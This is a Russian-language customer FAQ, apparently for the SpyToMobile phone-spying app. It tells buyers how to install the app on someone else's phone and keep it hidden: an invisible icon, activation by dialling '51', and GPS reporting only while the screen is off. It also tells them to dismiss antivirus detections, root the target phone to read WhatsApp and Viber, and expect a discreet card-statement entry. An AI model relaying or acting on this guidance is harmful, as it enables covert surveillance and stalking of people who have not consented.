| Как начать шпионить за телефоном? |
| Установите программу SpyToMobile на тот мобильный телефон за которым Вы хотите шпионить. Не устанавливайте программу на свой телефон. Вы можете шпионить только за тем телефоном на котором установлена и запущена программа SpyToMobile. |
| Данные в моем Личном Кабинете на обновляются. Что-то работает неправильно? |
| - Проверьте, что телефон на котором установлена программа SpyToMobile подключен к Интернет. Подключение к Интернет может быть не постоянным. Данные в Вашем Личном Кабинете будут обновляться как только появится подключение к Интернет.
- Проверьте, что программа SpyToMobile запущена на телефоне за которым Вы шпионите.
|
| Не могу войти в свой Личный Кабинет, что делать? |
| Нажмите Забыли пароль? на SpyToMobile.com чтобы восстановить Ваш пароль. Инструкции по восстановлению пароля к Личному Кабинету будут направлены на Ваш Email. Если это не поможет, сообщите в тех.поддержку: [email protected] |
| Как я могу добавить номер телефона чтобы шпионить за ним? |
| Вы не можете добавить номер телефона, это не предусмотрено в программе. Установите программу на тот телефон за которым Вы хотите шпионить. Только так Вы можете получать с него информацию в свой Личный Кабинет на SpyToMobile.com. |
| Я не получаю новой информации от телефона. Что должно произойти, чтобы информация обновилась? |
| Удостоверьтесь, что телефон периодически связывается с интернетом для выгрузки данных. Также проверьте запущен ли Data backup виджет на телефоне. Чтобы открыть его откройте Настройки-> Приложения-> Запустить сервис. Если по указанному пути Вы не можете нати Data backup виджет, то необходимо его с сайта SpyToMobile.com/d и запустите приложение. Чтобы узнать, как это сделать, пожалуйста, просмотрите обучающее видео на сайте SpyToMobile.com. |
| Может ли извлечение аккумулятора деактивировать программу? |
| Нет.Если приложение правильно установлено на телефон и приложение запущено, то оно запуститься автоматически после того, как телефон включится. |
| Вся ли новая информация сохраняется в телефоне до того момента, как она выгружается в личный кабинет? |
| Да. С того момента как приложение установлено на ваш телефон, вся информация отправляется в ваш личный кабинет. |
| Как часто телефону необходимо соединяться с интернетом, чтобы отправлять собранную информацию? |
| Приложение отправляет входящие и исходящие данные втечении всего времени пока работает телефон. Новые данные отправляются в ваш личный кабинет каждый раз когда телефон подключается к интернету (Чтобы новые данные отправлялись в ваш личный кабинет соединение должно происходить периодически). Только владелец телефона может запустить интернет на телефоне. |
| GPS активирован на телефоне, но я все еще не вижу правильной карты. Я нахожусь сейчас в калифорнии, а отображается карта Германии. |
| Возможно, GPS-сигнал низкий или здание, в котором вы находитесь блокирует сигнал. Когда телефон получит устойчивый GPS-сигнал, то определит местоположение и отправит данные на сайт в ваш личный кабинет. Обратите внимание, что GPS работает только когда экран выключен чтобы приложение оставалось невидимым. |
| Увижу ли я в своем личном кабинете удаленные смски и стертые из истории звонки? |
| Если историю звонков или смс почистили после того, как приложение было установлено на телефон, то вы получите все смски и звонки, включая удаленные. Приложение не может загрузить данные, удаленные до его установки. |
| я хочу установить версия абсолютно невидимую для аккаунта Google play? Где я могу скачать ее? |
| Скачайте приложение с сайта SpyToMobile.com/d и установите его. После этого вам необходимо сделать следующее: Если вы установили приложение на Андроид версии 2.3, то нажмите 51,а затем кнопку Вызов". Таким образом вы активируете приложение. Если вы используете телефон с версией Андроида 4, то вам следует поместить приложение на рабочий стол(иконка абсолютно невидна) затем набрать "51", кнопку "Вызов" и вы запустите приложение." |
|
| Как я могу добавить другой телефон к моему аккаунту или связать с ним несколько телефонов? |
| Установите приложение на телефон, за которым хотите наблюдать и введите тот же Email? Что вы указали при регистрации ранее. Таким образом телефон будет связан с вашим аккаунтом. Вы можете добавить 1000 устройств в ваш аккаунт. Вы можете установить приложение непосредственно с сайта SpyToMobile.com/d |
| Я забыл мой пароль. Что мне делать? |
| Поменяйте ваш пароль здесь. |
| Я не получил сообщения с моим паролем. Что мне делать? |
| Вначале проверьте папку Спам" и если нашего сообщения там нет, то сбросьте ваш текущий пароль здесь и тогда вам на почту придет новый пароль от ващего аккаунта." |
| Некоторые антивирусы классифицируют приложение как вирус. Что это значит? |
| Приложение было создано при использовании передовых технологий и это позволяет ему работать на телефоне незаметно. Из-за скрытого процесса некоторые антивирусы считают данное приложение вирусом, но это совершенно неверно. |
| Информация собирается только тогда. Когда телефон подключен к интернету? |
| Приложение собирае тинформацию в независимости от того подключен интернет или нет. Когда интернет включается на телефоне, т оприложение выгружает собранную информацию в ваш личный кабинет. |
| Что делать если приложение удалили с телефона? |
| Вам нужно установить приложение еще раз. Приложение собирает данные о телефоне только тогда, Когда оно установлено и активно. |
| Что будет в выписке по моей кредитной карте? Я не хочу попасть в неприятную ситуацию, используя данный сервис. |
| В истории движения денежных средств по вашей карте будет строка G2S-PhoneSupport |
| Не обновляются WhatsApp или Viber сообщения. |
| Дорогие друзья,
Сообщения WhatsApp и Viber возможно перехватывать с телефона только в случае, если на этом телефоне открыты права суперпользователя.
Если вы хотите просматривать сообщения WhatsApp и Viber, пожалуйста, откройте права суперпользователя на устройстве,
за которым собираетесь следить и установите последнюю версию нашего приложения с https://spytomobile.com/d |
|